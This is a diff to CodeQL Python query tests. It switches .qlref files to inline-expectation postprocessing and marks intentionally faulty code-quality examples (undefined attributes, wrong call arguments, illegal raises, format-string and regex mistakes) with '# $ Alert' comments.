--git a/python/ql/test/query-tests/Classes/equals-attr/DefineEqualsWhenAddingAttributes.qlref b/python/ql/test/query-tests/Classes/equals-attr/DefineEqualsWhenAddingAttributes.qlref index e542a6176ad4..f3385f506bf2 100644 --- a/python/ql/test/query-tests/Classes/equals-attr/DefineEqualsWhenAddingAttributes.qlref +++ b/python/ql/test/query-tests/Classes/equals-attr/DefineEqualsWhenAddingAttributes.qlref @@ -1 +1,2 @@ -Classes/DefineEqualsWhenAddingAttributes.ql \ No newline at end of file +query: Classes/DefineEqualsWhenAddingAttributes.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Classes/equals-attr/attr_eq_test.py b/python/ql/test/query-tests/Classes/equals-attr/attr_eq_test.py index e1e545fe9ef5..a5b1857f878f 100644 --- a/python/ql/test/query-tests/Classes/equals-attr/attr_eq_test.py +++ b/python/ql/test/query-tests/Classes/equals-attr/attr_eq_test.py @@ -18,7 +18,7 @@ def __ne__(self, other): def __hash__(self): return hash((self._x, self._y)) -class BadColorPoint(Point): +class BadColorPoint(Point): # $ Alert def __init__(self, x, y, color): Point.__init__(self, x, y) diff --git a/python/ql/test/query-tests/Classes/init-calls-subclass-method/InitCallsSubclassMethod.qlref b/python/ql/test/query-tests/Classes/init-calls-subclass-method/InitCallsSubclassMethod.qlref index 6530409f90ac..c396a4dbc3d7 100644 --- a/python/ql/test/query-tests/Classes/init-calls-subclass-method/InitCallsSubclassMethod.qlref +++ b/python/ql/test/query-tests/Classes/init-calls-subclass-method/InitCallsSubclassMethod.qlref @@ -1 +1,2 @@ -Classes/InitCallsSubclass/InitCallsSubclassMethod.ql +query: Classes/InitCallsSubclass/InitCallsSubclassMethod.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Classes/init-calls-subclass-method/init_calls_subclass.py b/python/ql/test/query-tests/Classes/init-calls-subclass-method/init_calls_subclass.py index ef944a9c7ef5..22f6707a4c93 100644 --- a/python/ql/test/query-tests/Classes/init-calls-subclass-method/init_calls_subclass.py +++ b/python/ql/test/query-tests/Classes/init-calls-subclass-method/init_calls_subclass.py @@ -5,7 +5,7 @@ class Super: def __init__(self, arg): self._state = "Not OK" - self.set_up(arg) # BAD: set_up is overriden. + self.set_up(arg) # BAD: set_up is overriden. # $ Alert self._state = "OK" def set_up(self, arg): @@ -29,7 +29,7 @@ def __init__(self, arg): self.a = arg # BAD: postproc is called after initialization. This is still an issue # since it may still occur before all initialization on a subclass is complete. - self.postproc() + self.postproc() # $ Alert def postproc(self): if self.a == 1: diff --git a/python/ql/test/query-tests/Classes/overwriting-attribute/OverwritingAttributeInSuperClass.qlref b/python/ql/test/query-tests/Classes/overwriting-attribute/OverwritingAttributeInSuperClass.qlref index b29c4d250250..dcea036ee608 100644 --- a/python/ql/test/query-tests/Classes/overwriting-attribute/OverwritingAttributeInSuperClass.qlref +++ b/python/ql/test/query-tests/Classes/overwriting-attribute/OverwritingAttributeInSuperClass.qlref @@ -1 +1,2 @@ -Classes/OverwritingAttributeInSuperClass.ql +query: Classes/OverwritingAttributeInSuperClass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Classes/overwriting-attribute/overwriting_attribute.py b/python/ql/test/query-tests/Classes/overwriting-attribute/overwriting_attribute.py index 0372db0b2159..a17bfd662d8c 100644 --- a/python/ql/test/query-tests/Classes/overwriting-attribute/overwriting_attribute.py +++ b/python/ql/test/query-tests/Classes/overwriting-attribute/overwriting_attribute.py @@ -2,7 +2,7 @@ class C(object): def __init__(self): - self.var = 0 + self.var = 0 # $ Alert class D(C): @@ -20,4 +20,4 @@ class F(E): def __init__(self): E.__init__(self) - self.var = 1 + self.var = 1 # $ Alert diff --git a/python/ql/test/query-tests/Classes/should-be-context-manager/ShouldBeContextManager.qlref b/python/ql/test/query-tests/Classes/should-be-context-manager/ShouldBeContextManager.qlref index f555b0af07a3..b13b7d8b7b9a 100644 --- a/python/ql/test/query-tests/Classes/should-be-context-manager/ShouldBeContextManager.qlref +++ b/python/ql/test/query-tests/Classes/should-be-context-manager/ShouldBeContextManager.qlref @@ -1 +1,2 @@ -Classes/ShouldBeContextManager.ql \ No newline at end of file +query: Classes/ShouldBeContextManager.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Classes/should-be-context-manager/should_be_context_manager.py b/python/ql/test/query-tests/Classes/should-be-context-manager/should_be_context_manager.py index 68fc81206a37..869d19f3d862 100644 --- a/python/ql/test/query-tests/Classes/should-be-context-manager/should_be_context_manager.py +++ b/python/ql/test/query-tests/Classes/should-be-context-manager/should_be_context_manager.py @@ -1,6 +1,6 @@ #Should be context manager -class MegaDel(object): +class MegaDel(object): # $ Alert def __del__(self): a = self.x + self.y @@ -13,7 +13,7 @@ def __del__(self): sum += a print(sum) -class MiniDel(object): +class MiniDel(object): # $ Alert def close(self): pass diff --git a/python/ql/test/query-tests/Classes/undefined-attribute/MaybeUndefinedClassAttribute.qlref b/python/ql/test/query-tests/Classes/undefined-attribute/MaybeUndefinedClassAttribute.qlref index d4986ffc84ce..35f6da7add55 100644 --- a/python/ql/test/query-tests/Classes/undefined-attribute/MaybeUndefinedClassAttribute.qlref +++ b/python/ql/test/query-tests/Classes/undefined-attribute/MaybeUndefinedClassAttribute.qlref @@ -1 +1,2 @@ -Classes/MaybeUndefinedClassAttribute.ql +query: Classes/MaybeUndefinedClassAttribute.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Classes/undefined-attribute/UndefinedClassAttribute.qlref b/python/ql/test/query-tests/Classes/undefined-attribute/UndefinedClassAttribute.qlref index 7ac0a3b18b77..f0e8fb722784 100644 --- a/python/ql/test/query-tests/Classes/undefined-attribute/UndefinedClassAttribute.qlref +++ b/python/ql/test/query-tests/Classes/undefined-attribute/UndefinedClassAttribute.qlref @@ -1 +1,2 @@ -Classes/UndefinedClassAttribute.ql +query: Classes/UndefinedClassAttribute.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Classes/undefined-attribute/undefined_attribute.py b/python/ql/test/query-tests/Classes/undefined-attribute/undefined_attribute.py index 0eec9974ef15..207e8f837d65 100644 --- a/python/ql/test/query-tests/Classes/undefined-attribute/undefined_attribute.py +++ b/python/ql/test/query-tests/Classes/undefined-attribute/undefined_attribute.py @@ -21,10 +21,10 @@ def ok3(self): print (self.local_exists) def neca1(self): - print (self.not_exists) + print (self.not_exists) # $ Alert[py/undefined-attribute] def neca2(self): - print (self.may_exist) + print (self.may_exist) # $ Alert[py/maybe-undefined-attribute] #This is OK class SetViaDict(object): @@ -106,7 +106,7 @@ def use(self): class NoInit(object): def use_y(self): - return self.y + return self.y # $ Alert[py/undefined-attribute] #This is also OK class SetLocally2(object): @@ -181,7 +181,7 @@ def queue_declared(frame): # called in callback self.return_queue = frame.method.queue def use_it(self): - return self.return_queue + return self.return_queue # $ Alert[py/maybe-undefined-attribute] #Check for FPs when overriding builtin methods @@ -247,15 +247,15 @@ def x(self): class Odasa4619a(object): def call(self): - host = self.glance_host - port = self.glance_port + host = self.glance_host # $ Alert[py/undefined-attribute] + port = self.glance_port # $ Alert[py/undefined-attribute] class Odasa4619b(object): def call(self): - host = self.glance_host - port = self.glance_port + host = self.glance_host # $ Alert[py/maybe-undefined-attribute] + port = self.glance_port # $ Alert[py/maybe-undefined-attribute] @decorator def foo(self): diff --git a/python/ql/test/query-tests/Classes/useless/UselessClass.qlref b/python/ql/test/query-tests/Classes/useless/UselessClass.qlref index 9c8e87e962cd..6dac346e62bb 100644 --- a/python/ql/test/query-tests/Classes/useless/UselessClass.qlref +++ b/python/ql/test/query-tests/Classes/useless/UselessClass.qlref @@ -1 +1,2 @@ -Classes/UselessClass.ql +query: Classes/UselessClass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Classes/useless/test.py b/python/ql/test/query-tests/Classes/useless/test.py index 40c9e56e117e..063da81c1727 100644 --- a/python/ql/test/query-tests/Classes/useless/test.py +++ b/python/ql/test/query-tests/Classes/useless/test.py @@ -25,7 +25,7 @@ def do_something_else(self): pass -class Useless1(object): +class Useless1(object): # $ Alert def __init__(self): pass @@ -34,7 +34,7 @@ def do_something(self): pass -class Useless2(object): +class Useless2(object): # $ Alert def do_something(self): pass diff --git a/python/ql/test/query-tests/Diagnostics/ExtractedFiles.qlref b/python/ql/test/query-tests/Diagnostics/ExtractedFiles.qlref index e900e9c5314b..58bc903a431d 100644 --- a/python/ql/test/query-tests/Diagnostics/ExtractedFiles.qlref +++ b/python/ql/test/query-tests/Diagnostics/ExtractedFiles.qlref @@ -1 +1 @@ -Diagnostics/ExtractedFiles.ql +query: Diagnostics/ExtractedFiles.ql diff --git a/python/ql/test/query-tests/Diagnostics/ExtractionWarnings.qlref b/python/ql/test/query-tests/Diagnostics/ExtractionWarnings.qlref index 2df3d933e8ae..68969e9bbf1c 100644 --- a/python/ql/test/query-tests/Diagnostics/ExtractionWarnings.qlref +++ b/python/ql/test/query-tests/Diagnostics/ExtractionWarnings.qlref @@ -1 +1 @@ -Diagnostics/ExtractionWarnings.ql +query: Diagnostics/ExtractionWarnings.ql diff --git a/python/ql/test/query-tests/Exceptions/general/CatchingBaseException.qlref b/python/ql/test/query-tests/Exceptions/general/CatchingBaseException.qlref index 5588dbf2c7b4..bd98ca75af11 100644 --- a/python/ql/test/query-tests/Exceptions/general/CatchingBaseException.qlref +++ b/python/ql/test/query-tests/Exceptions/general/CatchingBaseException.qlref @@ -1 +1 @@ -Exceptions/CatchingBaseException.ql \ No newline at end of file +query: Exceptions/CatchingBaseException.ql diff --git a/python/ql/test/query-tests/Exceptions/general/EmptyExcept.qlref b/python/ql/test/query-tests/Exceptions/general/EmptyExcept.qlref index 3f4987046b12..16e16f16ba5a 100644 --- a/python/ql/test/query-tests/Exceptions/general/EmptyExcept.qlref +++ b/python/ql/test/query-tests/Exceptions/general/EmptyExcept.qlref @@ -1 +1 @@ -Exceptions/EmptyExcept.ql \ No newline at end of file +query: Exceptions/EmptyExcept.ql diff --git a/python/ql/test/query-tests/Exceptions/general/IllegalExceptionHandlerType.qlref b/python/ql/test/query-tests/Exceptions/general/IllegalExceptionHandlerType.qlref index 6d49710a7599..7a7911ca4403 100644 --- a/python/ql/test/query-tests/Exceptions/general/IllegalExceptionHandlerType.qlref +++ b/python/ql/test/query-tests/Exceptions/general/IllegalExceptionHandlerType.qlref @@ -1 +1,2 @@ -Exceptions/IllegalExceptionHandlerType.ql \ No newline at end of file +query: Exceptions/IllegalExceptionHandlerType.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Exceptions/general/IllegalRaise.qlref b/python/ql/test/query-tests/Exceptions/general/IllegalRaise.qlref index 5a515d5656d3..2bee772260a9 100644 --- a/python/ql/test/query-tests/Exceptions/general/IllegalRaise.qlref +++ b/python/ql/test/query-tests/Exceptions/general/IllegalRaise.qlref @@ -1 +1,2 @@ -Exceptions/IllegalRaise.ql \ No newline at end of file +query: Exceptions/IllegalRaise.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Exceptions/general/NotImplementedIsNotAnException.qlref b/python/ql/test/query-tests/Exceptions/general/NotImplementedIsNotAnException.qlref index 61ac527ffb99..a5e0761210e7 100644 --- a/python/ql/test/query-tests/Exceptions/general/NotImplementedIsNotAnException.qlref +++ b/python/ql/test/query-tests/Exceptions/general/NotImplementedIsNotAnException.qlref @@ -1 +1,2 @@ -Exceptions/NotImplementedIsNotAnException.ql \ No newline at end of file +query: Exceptions/NotImplementedIsNotAnException.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Exceptions/general/exceptions_test.py b/python/ql/test/query-tests/Exceptions/general/exceptions_test.py index e5e9ea67a6e0..2b2c2accf6e4 100644 --- a/python/ql/test/query-tests/Exceptions/general/exceptions_test.py +++ b/python/ql/test/query-tests/Exceptions/general/exceptions_test.py @@ -37,21 +37,21 @@ class NotException2(object): pass def illegal_raise_type(): - raise NotException1 + raise NotException1 # $ Alert[py/illegal-raise] def illegal_raise_value1(): - raise "Exception" + raise "Exception" # $ Alert[py/illegal-raise] def illegal_raise_value2(): - raise NotException2() + raise NotException2() # $ Alert[py/illegal-raise] def illegal_handler(): try: illegal_raise() - except NotException1: + except NotException1: # $ Alert[py/useless-except] #Must do something print("NotException1") - except NotException2: + except NotException2: # $ Alert[py/useless-except] #Must do something print("NotException2") @@ -135,7 +135,7 @@ def a_number(): def illegal_handler2(): try: illegal_raise() - except a_number(): + except a_number(): # $ Alert[py/useless-except] print ("Caught exception") def stop_iter_ok(seq): @@ -193,7 +193,7 @@ def ee8(x): #These are so common, we give warnings not errors. def foo(): - raise NotImplemented + raise NotImplemented # $ Alert[py/raise-not-implemented] def bar(): - raise NotImplemented() + raise NotImplemented() # $ Alert[py/raise-not-implemented] diff --git a/python/ql/test/query-tests/Exceptions/general/pypy_test.py b/python/ql/test/query-tests/Exceptions/general/pypy_test.py index 857e78d6d942..12d373e428e6 100644 --- a/python/ql/test/query-tests/Exceptions/general/pypy_test.py +++ b/python/ql/test/query-tests/Exceptions/general/pypy_test.py @@ -11,10 +11,9 @@ def __getattribute__(self, name): try: a = A() raise a - except 42: + except 42: # $ Alert[py/useless-except] #Some comment pass except A: #Another comment pass - diff --git a/python/ql/test/query-tests/Expressions/Arguments/WrongNameForArgumentInCall.qlref b/python/ql/test/query-tests/Expressions/Arguments/WrongNameForArgumentInCall.qlref index 3599f204f55e..c6b6ca3d30fa 100644 --- a/python/ql/test/query-tests/Expressions/Arguments/WrongNameForArgumentInCall.qlref +++ b/python/ql/test/query-tests/Expressions/Arguments/WrongNameForArgumentInCall.qlref @@ -1 +1,2 @@ -Expressions/WrongNameForArgumentInCall.ql \ No newline at end of file +query: Expressions/WrongNameForArgumentInCall.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/Arguments/WrongNumberArgumentsInCall.qlref b/python/ql/test/query-tests/Expressions/Arguments/WrongNumberArgumentsInCall.qlref index 1bffe8f1cad4..68dc510d5c6e 100644 --- a/python/ql/test/query-tests/Expressions/Arguments/WrongNumberArgumentsInCall.qlref +++ b/python/ql/test/query-tests/Expressions/Arguments/WrongNumberArgumentsInCall.qlref @@ -1 +1,2 @@ -Expressions/WrongNumberArgumentsInCall.ql \ No newline at end of file +query: Expressions/WrongNumberArgumentsInCall.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/Arguments/use_mox.py b/python/ql/test/query-tests/Expressions/Arguments/use_mox.py index 35d35574895a..0af38ad3798c 100644 --- a/python/ql/test/query-tests/Expressions/Arguments/use_mox.py +++ b/python/ql/test/query-tests/Expressions/Arguments/use_mox.py @@ -25,9 +25,9 @@ def m1(self, x, y): #But normal functions are treated normally -f0() -f1(1) +f0() # $ Alert[py/call/wrong-arguments] +f1(1) # $ Alert[py/call/wrong-arguments] #As are normal methods -C().m0() -C().m1(1) +C().m0() # $ Alert[py/call/wrong-arguments] +C().m1(1) # $ Alert[py/call/wrong-arguments] diff --git a/python/ql/test/query-tests/Expressions/Arguments/wrong_arguments.py b/python/ql/test/query-tests/Expressions/Arguments/wrong_arguments.py index 284d1d19bc36..dffafbeee764 100644 --- a/python/ql/test/query-tests/Expressions/Arguments/wrong_arguments.py +++ b/python/ql/test/query-tests/Expressions/Arguments/wrong_arguments.py @@ -26,22 +26,22 @@ def f7(x, y, z): # Too few arguments -f0() -f1() -f2() -f3() -f4() -f5() -f6(1) -f7(1,2) +f0() # $ Alert[py/call/wrong-arguments] +f1() # $ Alert[py/call/wrong-arguments] +f2() # $ Alert[py/call/wrong-arguments] +f3() # $ Alert[py/call/wrong-arguments] +f4() # $ Alert[py/call/wrong-arguments] +f5() # $ Alert[py/call/wrong-arguments] +f6(1) # $ Alert[py/call/wrong-arguments] +f7(1,2) # $ Alert[py/call/wrong-arguments] #Too many arguments -f0(1,2) -f1(1,2,3) -f5(1,2,3) -f6(1,2,3) -f6(1,2,3,4) +f0(1,2) # $ Alert[py/call/wrong-arguments] +f1(1,2,3) # $ Alert[py/call/wrong-arguments] +f5(1,2,3) # $ Alert[py/call/wrong-arguments] +f6(1,2,3) # $ Alert[py/call/wrong-arguments] +f6(1,2,3,4) # $ Alert[py/call/wrong-arguments] #OK @@ -54,9 +54,9 @@ def f7(x, y, z): #Illegal name -f0(y=1) -f1(z=1) -f2(x=0, y=1) +f0(y=1) # $ Alert[py/call/wrong-named-argument] +f1(z=1) # $ Alert[py/call/wrong-named-argument] +f2(x=0, y=1) # $ Alert[py/call/wrong-named-argument] #Ok name @@ -78,12 +78,12 @@ def f7(x, y, z): l1d(1) #Too many -l0(1) -l1(1,2) -l1d(1,2) +l0(1) # $ Alert[py/call/wrong-arguments] +l1(1,2) # $ Alert[py/call/wrong-arguments] +l1d(1,2) # $ Alert[py/call/wrong-arguments] #Too few -l1() +l1() # $ Alert[py/call/wrong-arguments] t2 = (1,2) @@ -93,14 +93,14 @@ def f7(x, y, z): f(*t2) #Too many -f6(*(1,2,3)) -f6(*t3) +f6(*(1,2,3)) # $ Alert[py/call/wrong-arguments] +f6(*t3) # $ Alert[py/call/wrong-arguments] #Ok f6(**{'x':1, 'y':2}) #Illegal name -f6(**{'x':1, 'y':2, 'z':3}) +f6(**{'x':1, 'y':2, 'z':3}) # $ Alert[py/call/wrong-named-argument] #Theoretically -1 arguments required. Don't report class C(object): @@ -112,7 +112,7 @@ def f(): #Too many and wrong name -- check only wrong name is flagged. -f1(x, y, z=1) +f1(x, y, z=1) # $ Alert[py/call/wrong-named-argument] #Overriding and call is wrong. @@ -127,5 +127,5 @@ def spam(self, arg0, arg1): pass e = Eggs1() if cond else Eggs2() -e.spam(0) +e.spam(0) # $ Alert[py/call/wrong-arguments] diff --git a/python/ql/test/query-tests/Expressions/Formatting/MixedExplicitImplicitIn3101Format.qlref b/python/ql/test/query-tests/Expressions/Formatting/MixedExplicitImplicitIn3101Format.qlref index 3b9a8dc0ccf9..044e500615f5 100644 --- a/python/ql/test/query-tests/Expressions/Formatting/MixedExplicitImplicitIn3101Format.qlref +++ b/python/ql/test/query-tests/Expressions/Formatting/MixedExplicitImplicitIn3101Format.qlref @@ -1 +1,2 @@ -Expressions/Formatting/MixedExplicitImplicitIn3101Format.ql \ No newline at end of file +query: Expressions/Formatting/MixedExplicitImplicitIn3101Format.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/Formatting/UnusedArgumentIn3101Format.qlref b/python/ql/test/query-tests/Expressions/Formatting/UnusedArgumentIn3101Format.qlref index b3e654ad0526..8de137448b61 100644 --- a/python/ql/test/query-tests/Expressions/Formatting/UnusedArgumentIn3101Format.qlref +++ b/python/ql/test/query-tests/Expressions/Formatting/UnusedArgumentIn3101Format.qlref @@ -1 +1,2 @@ -Expressions/Formatting/UnusedArgumentIn3101Format.ql \ No newline at end of file +query: Expressions/Formatting/UnusedArgumentIn3101Format.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/Formatting/UnusedNamedArgumentIn3101Format.qlref b/python/ql/test/query-tests/Expressions/Formatting/UnusedNamedArgumentIn3101Format.qlref index 6a77d8910797..a1e71b6cd8b9 100644 --- a/python/ql/test/query-tests/Expressions/Formatting/UnusedNamedArgumentIn3101Format.qlref +++ b/python/ql/test/query-tests/Expressions/Formatting/UnusedNamedArgumentIn3101Format.qlref @@ -1 +1,2 @@ -Expressions/Formatting/UnusedNamedArgumentIn3101Format.ql \ No newline at end of file +query: Expressions/Formatting/UnusedNamedArgumentIn3101Format.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/Formatting/WrongNameInArgumentsFor3101Format.qlref b/python/ql/test/query-tests/Expressions/Formatting/WrongNameInArgumentsFor3101Format.qlref index e0b308870342..6bd5b9c75dad 100644 --- a/python/ql/test/query-tests/Expressions/Formatting/WrongNameInArgumentsFor3101Format.qlref +++ b/python/ql/test/query-tests/Expressions/Formatting/WrongNameInArgumentsFor3101Format.qlref @@ -1 +1,2 @@ -Expressions/Formatting/WrongNameInArgumentsFor3101Format.ql \ No newline at end of file +query: Expressions/Formatting/WrongNameInArgumentsFor3101Format.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/Formatting/WrongNumberArgumentsFor3101Format.qlref b/python/ql/test/query-tests/Expressions/Formatting/WrongNumberArgumentsFor3101Format.qlref index 130a6525a901..02168e01c644 100644 --- a/python/ql/test/query-tests/Expressions/Formatting/WrongNumberArgumentsFor3101Format.qlref +++ b/python/ql/test/query-tests/Expressions/Formatting/WrongNumberArgumentsFor3101Format.qlref @@ -1 +1,2 @@ -Expressions/Formatting/WrongNumberArgumentsFor3101Format.ql \ No newline at end of file +query: Expressions/Formatting/WrongNumberArgumentsFor3101Format.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/Formatting/test.py b/python/ql/test/query-tests/Expressions/Formatting/test.py index e9fd23c8aad6..3117a9de2a48 100755 --- a/python/ql/test/query-tests/Expressions/Formatting/test.py +++ b/python/ql/test/query-tests/Expressions/Formatting/test.py @@ -1,11 +1,11 @@ from __future__ import unicode_literals -mixed_format1 = "{}{1}" +mixed_format1 = "{}{1}" # $ Alert[py/str-format/mixed-fields] named_format1 = "{name!r}, {0}" explicit_format1 = "{0}, {1}" implicit_format1 = "{}, {}" -mixed_format2 = "{}{1}" +mixed_format2 = "{}{1}" # $ Alert[py/str-format/mixed-fields] named_format2 = "{name!r}, {0}" explicit_format2 = "{0}, {1}" implicit_format2 = "{}, {}" @@ -14,23 +14,23 @@ mixed_format1.format("Hello", "World") format(mixed_format2, "Hello", "World") -named_format1.format("Hello", world="World") -format(named_format2, "Hello", world="World") +named_format1.format("Hello", world="World") # $ Alert[py/str-format/missing-named-argument] Alert[py/str-format/surplus-named-argument] +format(named_format2, "Hello", world="World") # $ Alert[py/str-format/missing-named-argument] Alert[py/str-format/surplus-named-argument] -named_format1.format(name="Hello", world="World") -format(named_format2, name="Hello", world="World") +named_format1.format(name="Hello", world="World") # $ Alert[py/str-format/missing-argument] Alert[py/str-format/surplus-named-argument] +format(named_format2, name="Hello", world="World") # $ Alert[py/str-format/missing-argument] Alert[py/str-format/surplus-named-argument] -explicit_format1.format("Hello") -format(explicit_format2, "Hello") +explicit_format1.format("Hello") # $ Alert[py/str-format/missing-argument] +format(explicit_format2, "Hello") # $ Alert[py/str-format/missing-argument] -implicit_format1.format("Hello") -format(implicit_format2, "Hello") +implicit_format1.format("Hello") # $ Alert[py/str-format/missing-argument] +format(implicit_format2, "Hello") # $ Alert[py/str-format/missing-argument] -explicit_format1.format("Hello", "World", "Extra") -format(explicit_format2, "Hello", "World", "Extra") +explicit_format1.format("Hello", "World", "Extra") # $ Alert[py/str-format/surplus-argument] +format(explicit_format2, "Hello", "World", "Extra") # $ Alert[py/str-format/surplus-argument] -implicit_format1.format("Hello", "World", "Extra") -format(implicit_format2, "Hello", "World", "Extra") +implicit_format1.format("Hello", "World", "Extra") # $ Alert[py/str-format/surplus-argument] +format(implicit_format2, "Hello", "World", "Extra") # $ Alert[py/str-format/surplus-argument] #OK ODASA-3197 if cond: @@ -42,8 +42,8 @@ x_or_y.format(x="x", y="y") #Still fail for multiple formats -format(x_or_y, x="x", y="y", z="z") -x_or_y.format(x="x", y="y", z="z") +format(x_or_y, x="x", y="y", z="z") # $ Alert[py/str-format/surplus-named-argument] +x_or_y.format(x="x", y="y", z="z") # $ Alert[py/str-format/surplus-named-argument] #False positive reported by customer. -- Verify fix. "{{}}>".format(html_class) diff --git a/python/ql/test/query-tests/Expressions/Formatting/unknown_format_string.py b/python/ql/test/query-tests/Expressions/Formatting/unknown_format_string.py index a3b32a504db3..690716e20b2d 100644 --- a/python/ql/test/query-tests/Expressions/Formatting/unknown_format_string.py +++ b/python/ql/test/query-tests/Expressions/Formatting/unknown_format_string.py @@ -6,7 +6,7 @@ def possibly_unknown_format_string1(x): fmt = user_specified else: fmt = "{a}" - return fmt.format(a=1,b=2) + return fmt.format(a=1,b=2) # $ Alert[py/str-format/surplus-named-argument] def possibly_unknown_format_string2(x): user_specified = input() @@ -14,7 +14,7 @@ def possibly_unknown_format_string2(x): fmt = user_specified else: fmt = "{a}" - return fmt.format(a=1,b=2) + return fmt.format(a=1,b=2) # $ Alert[py/str-format/surplus-named-argument] def possibly_unknown_format_string3(x): @@ -22,4 +22,4 @@ def possibly_unknown_format_string3(x): fmt = input() else: fmt = "{a}" - return fmt.format(a=1,b=2) + return fmt.format(a=1,b=2) # $ Alert[py/str-format/surplus-named-argument] diff --git a/python/ql/test/query-tests/Expressions/Regex/BackspaceEscape.qlref b/python/ql/test/query-tests/Expressions/Regex/BackspaceEscape.qlref index 2bf85f8a45aa..25a46ec7b29b 100644 --- a/python/ql/test/query-tests/Expressions/Regex/BackspaceEscape.qlref +++ b/python/ql/test/query-tests/Expressions/Regex/BackspaceEscape.qlref @@ -1 +1,2 @@ -Expressions/Regex/BackspaceEscape.ql +query: Expressions/Regex/BackspaceEscape.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/Regex/DuplicateCharacterInSet.qlref b/python/ql/test/query-tests/Expressions/Regex/DuplicateCharacterInSet.qlref index f0fc83c214eb..358d546ce8ad 100644 --- a/python/ql/test/query-tests/Expressions/Regex/DuplicateCharacterInSet.qlref +++ b/python/ql/test/query-tests/Expressions/Regex/DuplicateCharacterInSet.qlref @@ -1 +1,2 @@ -Expressions/Regex/DuplicateCharacterInSet.ql +query: Expressions/Regex/DuplicateCharacterInSet.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/Regex/MissingPartSpecialGroup.qlref b/python/ql/test/query-tests/Expressions/Regex/MissingPartSpecialGroup.qlref index faf8f31ad4d6..215e7874972d 100644 --- a/python/ql/test/query-tests/Expressions/Regex/MissingPartSpecialGroup.qlref +++ b/python/ql/test/query-tests/Expressions/Regex/MissingPartSpecialGroup.qlref @@ -1 +1,2 @@ -Expressions/Regex/MissingPartSpecialGroup.ql +query: Expressions/Regex/MissingPartSpecialGroup.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/Regex/UnmatchableCaret.qlref b/python/ql/test/query-tests/Expressions/Regex/UnmatchableCaret.qlref index 161fd59f7f28..218dcb021982 100644 --- a/python/ql/test/query-tests/Expressions/Regex/UnmatchableCaret.qlref +++ b/python/ql/test/query-tests/Expressions/Regex/UnmatchableCaret.qlref @@ -1 +1,2 @@ -Expressions/Regex/UnmatchableCaret.ql +query: Expressions/Regex/UnmatchableCaret.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/Regex/UnmatchableDollar.qlref b/python/ql/test/query-tests/Expressions/Regex/UnmatchableDollar.qlref index b162342922c5..cabb436241ce 100644 --- a/python/ql/test/query-tests/Expressions/Regex/UnmatchableDollar.qlref +++ b/python/ql/test/query-tests/Expressions/Regex/UnmatchableDollar.qlref @@ -1 +1,2 @@ -Expressions/Regex/UnmatchableDollar.ql +query: Expressions/Regex/UnmatchableDollar.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Expressions/Regex/test.py b/python/ql/test/query-tests/Expressions/Regex/test.py index 717663e335c5..c9aea2d9ceff 100644 --- a/python/ql/test/query-tests/Expressions/Regex/test.py +++ b/python/ql/test/query-tests/Expressions/Regex/test.py @@ -1,9 +1,9 @@ import re #Unmatchable caret -re.compile(b' ^abc') -re.compile(b"(?s) ^abc") -re.compile(b"\[^123]") +re.compile(b' ^abc') # $ Alert[py/regex/unmatchable-caret] +re.compile(b"(?s) ^abc") # $ Alert[py/regex/unmatchable-caret] +re.compile(b"\[^123]") # $ Alert[py/regex/unmatchable-caret] #Likely false positives for unmatchable caret re.compile(b"[^123]") @@ -14,21 +14,21 @@ re.compile(b"^diff (?:-r [0-9a-f]+ ){1,2}(.*)$") #Backspace escape -re.compile(br"[\b\t ]") # Should warn +re.compile(br"[\b\t ]") # Should warn # $ Alert[py/regex/backspace-escape] re.compile(br"E\d+\b.*") # Fine -re.compile(br"E\d+\b[ \b\t]") #Both +re.compile(br"E\d+\b[ \b\t]") #Both # $ Alert[py/regex/backspace-escape] #Missing part in named group -re.compile(br'(P[\w]+)') -re.compile(br'(_(P[\w]+)|)') +re.compile(br'(P[\w]+)') # $ Alert[py/regex/incomplete-special-group] +re.compile(br'(_(P[\w]+)|)') # $ Alert[py/regex/incomplete-special-group] #This is OK... re.compile(br'(?P\w+)') #Unmatchable dollar -re.compile(b"abc$ ") -re.compile(b"abc$ (?s)") -re.compile(b"\[$] ") +re.compile(b"abc$ ") # $ Alert[py/regex/unmatchable-dollar] +re.compile(b"abc$ (?s)") # $ Alert[py/regex/unmatchable-dollar] +re.compile(b"\[$] ") # $ Alert[py/regex/unmatchable-dollar] #Not unmatchable dollar re.match(b"[$] ", b"$ ") @@ -43,9 +43,9 @@ re.match(b"(a){00}b", b"b") #Duplicate character in set -re.compile(b"[AA]") -re.compile(b"[000]") -re.compile(b"[-0-9-]") +re.compile(b"[AA]") # $ Alert[py/regex/duplicate-in-character-class] +re.compile(b"[000]") # $ Alert[py/regex/duplicate-in-character-class] 